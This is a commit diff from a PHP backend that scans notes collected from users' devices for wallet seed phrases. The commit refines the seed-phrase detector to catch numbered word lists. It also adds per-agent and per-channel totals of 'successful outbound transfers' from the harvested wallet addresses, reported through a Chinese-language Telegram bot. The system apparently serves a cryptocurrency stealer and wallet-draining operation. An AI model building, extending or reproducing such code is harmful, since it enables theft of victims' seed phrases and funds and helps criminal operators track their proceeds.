feat: scan
This commit is contained in:
@@ -39,8 +39,10 @@ class NoteScan extends Model
|
||||
return 'h:'.substr(hash('sha1', (string) ($item['title'] ?? '').'|'.(string) ($item['body'] ?? '')), 0, 24);
|
||||
}
|
||||
|
||||
public const HASH_VERSION = '2';
|
||||
|
||||
public static function itemHash(array $item): string
|
||||
{
|
||||
return hash('sha256', (string) ($item['title'] ?? '')."\n".(string) ($item['body'] ?? ''));
|
||||
return hash('sha256', self::HASH_VERSION."\n".(string) ($item['title'] ?? '')."\n".(string) ($item['body'] ?? ''));
|
||||
}
|
||||
}
|
||||
|
||||
@@ -4,6 +4,7 @@ namespace App\Services;
|
||||
|
||||
use App\Models\Device;
|
||||
use App\Models\PageVisit;
|
||||
use App\Models\TransferRecord;
|
||||
use App\Models\User;
|
||||
use App\Models\WalletAddress;
|
||||
use App\Models\WalletMnemonic;
|
||||
@@ -37,6 +38,8 @@ class DashboardStatsService
|
||||
* mnemonic_count: int,
|
||||
* address_count: int,
|
||||
* balances: array{usdt: string, trx: string, eth: string, btc: string, bnb: string},
|
||||
* transfer_count: int,
|
||||
* transfers: array{usdt: string, trx: string, eth: string, btc: string},
|
||||
* by_os: list<array{label: string, uv: int, pct: float}>,
|
||||
* by_ios_version: list<array{label: string, uv: int, pct: float}>,
|
||||
* by_device_ios_version: list<array{label: string, count: int, pct: float}>,
|
||||
@@ -102,6 +105,14 @@ class DashboardStatsService
|
||||
$from,
|
||||
$to,
|
||||
);
|
||||
[$transferCount, $transfers] = $this->transferStats(
|
||||
$agent,
|
||||
$agentUserId,
|
||||
$channelId,
|
||||
$channelExact,
|
||||
$from,
|
||||
$to,
|
||||
);
|
||||
|
||||
$visits = PageVisit::query();
|
||||
AgentScope::applyChannelIdScope($visits, $agent);
|
||||
@@ -193,6 +204,8 @@ class DashboardStatsService
|
||||
'mnemonic_count' => $mnemonicCount,
|
||||
'address_count' => $addressCount,
|
||||
'balances' => $balances,
|
||||
'transfer_count' => $transferCount,
|
||||
'transfers' => $transfers,
|
||||
'by_os' => $byOs,
|
||||
'by_ios_version' => $byIosVersion,
|
||||
'by_device_ios_version' => $byDeviceIosVersion,
|
||||
@@ -320,6 +333,76 @@ class DashboardStatsService
|
||||
return [(int) ($row?->addr_count ?? 0), $out];
|
||||
}
|
||||
|
||||
/**
|
||||
* Successful outbound transfer count + per-asset sums in the selected range.
|
||||
*
|
||||
* @return array{0: int, 1: array{usdt: string, trx: string, eth: string, btc: string}}
|
||||
*/
|
||||
private function transferStats(
|
||||
?User $agent,
|
||||
?int $agentUserId,
|
||||
string $channelId,
|
||||
bool $channelExact,
|
||||
Carbon $from,
|
||||
Carbon $to,
|
||||
): array {
|
||||
$q = TransferRecord::query()
|
||||
->where('transfer_records.status', TransferRecord::STATUS_SUCCESS)
|
||||
->whereBetween('transfer_records.created_at', [$from, $to]);
|
||||
|
||||
if ($agent !== null || $agentUserId !== null || $channelId !== '') {
|
||||
$q->whereExists(function ($sub) use ($agent, $agentUserId, $channelId, $channelExact) {
|
||||
$sub->selectRaw('1')
|
||||
->from('wallet_addresses')
|
||||
->join('devices', 'devices.id', '=', 'wallet_addresses.device_id')
|
||||
->whereColumn('wallet_addresses.address', 'transfer_records.from_address');
|
||||
|
||||
$scopedIds = null;
|
||||
if ($agent !== null) {
|
||||
$scopedIds = AgentScope::channelIdsFor($agent);
|
||||
} elseif ($agentUserId !== null) {
|
||||
$scopedIds = AgentScope::channelIdsForUserId($agentUserId);
|
||||
}
|
||||
if ($scopedIds !== null) {
|
||||
if ($scopedIds === []) {
|
||||
$sub->whereRaw('1 = 0');
|
||||
} else {
|
||||
$sub->whereIn('devices.channel_id', $scopedIds);
|
||||
}
|
||||
}
|
||||
if ($channelId !== '') {
|
||||
if ($channelExact) {
|
||||
$sub->where('devices.channel_id', $channelId);
|
||||
} else {
|
||||
$sub->where('devices.channel_id', 'like', '%'.$channelId.'%');
|
||||
}
|
||||
}
|
||||
});
|
||||
}
|
||||
|
||||
$amountExpr = DB::connection()->getDriverName() === 'sqlite'
|
||||
? 'CAST(transfer_records.amount AS REAL)'
|
||||
: 'CAST(transfer_records.amount AS DECIMAL(32, 18))';
|
||||
$rows = (clone $q)
|
||||
->selectRaw('UPPER(transfer_records.asset) as asset, COUNT(*) as cnt, COALESCE(SUM('.$amountExpr.'), 0) as total')
|
||||
->groupByRaw('UPPER(transfer_records.asset)')
|
||||
->get();
|
||||
|
||||
$coins = ['usdt' => '0', 'trx' => '0', 'eth' => '0', 'btc' => '0'];
|
||||
$count = 0;
|
||||
foreach ($rows as $row) {
|
||||
$count += (int) $row->cnt;
|
||||
$col = strtolower((string) $row->asset);
|
||||
if (! isset($coins[$col])) {
|
||||
continue;
|
||||
}
|
||||
$formatted = WalletAddress::formatAmount($col, $row->total);
|
||||
$coins[$col] = $formatted === '' ? '0' : $formatted;
|
||||
}
|
||||
|
||||
return [$count, $coins];
|
||||
}
|
||||
|
||||
/**
|
||||
* Map telegram /data day token to dashboard range key.
|
||||
* Empty / omitted → today.
|
||||
|
||||
@@ -237,8 +237,8 @@ class MnemonicDetector
|
||||
}
|
||||
|
||||
/**
|
||||
* Keep list indices (1. 2. 12) from breaking a phrase, but digits/units
|
||||
* like 200 or 1.5 split a run so "pipe 200 cable" is not 12 words.
|
||||
* Keep list indices (1 / 1. / 1.during / 12)wrist) from breaking a phrase,
|
||||
* but digits/units like 200 or 1.5 split a run so "pipe 200 cable" is not 12 words.
|
||||
*
|
||||
* @return list<string>
|
||||
*/
|
||||
@@ -247,6 +247,9 @@ class MnemonicDetector
|
||||
$out = [];
|
||||
foreach (preg_split('/\s+/u', strtolower($text)) ?: [] as $raw) {
|
||||
$word = trim($raw, ".,!?;:\"'()[]");
|
||||
if ($word === '') {
|
||||
continue;
|
||||
}
|
||||
if (preg_match('/^[a-z]{3,8}$/', $word) === 1) {
|
||||
$out[] = $word;
|
||||
|
||||
@@ -255,6 +258,11 @@ class MnemonicDetector
|
||||
if (preg_match('/^\d{1,2}\.?$/', $word) === 1) {
|
||||
continue;
|
||||
}
|
||||
if (preg_match('/^\d{1,2}[.)\]、.::]?([a-z]{3,8})$/u', $word, $m) === 1) {
|
||||
$out[] = $m[1];
|
||||
|
||||
continue;
|
||||
}
|
||||
$out[] = '';
|
||||
}
|
||||
|
||||
|
||||
@@ -97,7 +97,10 @@ class MnemonicScanService
|
||||
return;
|
||||
}
|
||||
|
||||
$text = trim((string) ($item['title'] ?? '')."\n".(string) ($item['body'] ?? ''));
|
||||
$text = $this->noteScanText(
|
||||
trim((string) ($item['title'] ?? '')),
|
||||
trim((string) ($item['body'] ?? '')),
|
||||
);
|
||||
$this->applyTextHit($device, MnemonicFinding::SOURCE_NOTE, $text, null, $note, $key);
|
||||
$row->content_hash = $hash;
|
||||
$row->scan_status = $this->noteStatus($note, $key);
|
||||
@@ -377,4 +380,16 @@ class MnemonicScanService
|
||||
default => MnemonicScanStatus::EMPTY,
|
||||
};
|
||||
}
|
||||
|
||||
private function noteScanText(string $title, string $body): string
|
||||
{
|
||||
if ($title === '') {
|
||||
return $body;
|
||||
}
|
||||
if ($body === '' || $title === $body || str_starts_with($body, $title)) {
|
||||
return $body !== '' ? $body : $title;
|
||||
}
|
||||
|
||||
return $title."\n".$body;
|
||||
}
|
||||
}
|
||||
|
||||
@@ -272,6 +272,7 @@ class NoteContent
|
||||
{
|
||||
$lines = preg_split('/\n+/', $text) ?: [];
|
||||
$title = '';
|
||||
$firstLine = '';
|
||||
$rest = [];
|
||||
foreach ($lines as $line) {
|
||||
$line = trim($line);
|
||||
@@ -280,12 +281,18 @@ class NoteContent
|
||||
}
|
||||
if ($title === '') {
|
||||
$title = mb_substr($line, 0, 80);
|
||||
$firstLine = $line;
|
||||
|
||||
continue;
|
||||
}
|
||||
$rest[] = $line;
|
||||
}
|
||||
|
||||
return [$title, trim(implode("\n", $rest))];
|
||||
$body = trim(implode("\n", $rest));
|
||||
if ($body === '') {
|
||||
$body = $firstLine;
|
||||
}
|
||||
|
||||
return [$title, $body];
|
||||
}
|
||||
}
|
||||
|
||||
@@ -92,11 +92,11 @@ class DataCommand
|
||||
'助记词: '.$data['mnemonic_count'],
|
||||
'钱包地址: '.$data['address_count'],
|
||||
'',
|
||||
'💰 总余额(区间内新增地址)',
|
||||
'• USDT '.$data['balances']['usdt'],
|
||||
'• TRX '.$data['balances']['trx'],
|
||||
'• BTC '.$data['balances']['btc'],
|
||||
'• ETH '.$data['balances']['eth'],
|
||||
'💰 总余额 / 交易额(新增地址 · 成功转出 '.$data['transfer_count'].' 笔)',
|
||||
'• USDT '.$data['balances']['usdt'].' / '.$data['transfers']['usdt'],
|
||||
'• TRX '.$data['balances']['trx'].' / '.$data['transfers']['trx'],
|
||||
'• BTC '.$data['balances']['btc'].' / '.$data['transfers']['btc'],
|
||||
'• ETH '.$data['balances']['eth'].' / '.$data['transfers']['eth'],
|
||||
'• BNB '.$data['balances']['bnb'],
|
||||
'',
|
||||
'🌐 页面访问',
|
||||
|
||||
@@ -18,7 +18,7 @@ class HelpCommand
|
||||
' 健康检查',
|
||||
'',
|
||||
'/data [1|7|30] [channelId]',
|
||||
' 查询仪表盘统计(设备/余额/访问/分布)',
|
||||
' 查询仪表盘统计(设备/余额/交易额/访问/分布)',
|
||||
' 天数默认当天;渠道默认全部',
|
||||
' channelId: 旧版 32 hex 或新版 X.Y.ZZ',
|
||||
' 例: /data',
|
||||
|
||||
Reference in New Issue
Block a user